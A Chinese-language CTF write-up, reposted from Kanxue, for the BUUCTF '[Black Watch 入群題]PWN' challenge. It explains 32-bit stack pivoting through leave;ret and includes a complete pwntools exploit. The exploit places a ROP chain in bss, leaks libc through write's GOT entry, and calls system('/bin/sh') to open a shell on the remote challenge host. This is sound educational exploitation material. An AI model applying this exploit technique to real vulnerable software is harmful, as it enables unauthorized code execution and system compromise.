[Black Watch 入群題]PWN


學習一下棧遷移,以下內容轉載於看雪的文章

以32位為例,在匯編中,用call指令來調用一個函數,call 函數會對棧進行一系列操作

push eip+4
push ebp
mov ebp,esp

主要的目的還是用來保護現場,避免執行完函數后堆棧不平衡或找不到之前的入口地址

當調用完函數后,就需要用 leave;ret;來還原現場

leave == mov esp,ebp ; pop ebp;
ret == pop eip 

其中pop eip相當於將棧頂數據給eip,由於ret返回的是棧頂數據,而棧頂地址是由esp的值決定的,esp的值,從leave可以得出是由ebp決定的。所以我們可以通過覆蓋ebp的值來控制ret返回地址。兩次leave ret即可控制esp為我們想要的地址。由於有pop ebp,會使esp-4,將ebp 覆蓋為想要調整的位置-4即可

 

[Black Watch 入群題]PWN為例

 可以看到第二個read的棧只能控制0x20-0x18=0x8個字節,無法構造出較長的ROP鏈

不過可以用第一個read構造ROP鏈,且剛好在bss段中,之后棧遷移到該地址執行,后面就是常規的泄露libc來getshell

exp如下

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',28463)
#r=process('./spwn')
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300
leave_ret=0x08048511

payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.recvuntil("What is your name?")
r.send(payload)

payload1='a'*0x18+p32(bss_addr-4)+p32(leave_ret)
r.recvuntil("What do you want to say?")
r.send(payload1)

write_addr=u32(r.recv(4))
print('[+]write_addr: ',hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil("What is your name?")
payload=p32(system_addr)+p32(main_addr)+p32(bin_addr)
r.send(payload)

r.recvuntil("What do you want to say?")
r.send(payload1)

r.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM